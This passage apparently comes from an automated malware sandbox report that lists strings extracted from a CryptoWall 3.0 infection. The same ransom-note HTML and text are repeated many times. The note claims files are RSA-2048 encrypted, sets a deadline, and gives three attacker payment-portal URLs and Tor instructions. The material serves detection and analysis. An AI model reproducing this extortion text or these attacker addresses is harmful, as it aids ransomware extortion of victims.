style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt235.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html124.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html242.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html263.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt185.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt45.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt421.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html191.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt18.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html123.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt206.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html349.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html411.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html215.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt102.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html410.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt154.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html153.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt258.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt172.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt392.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html70.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt276.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
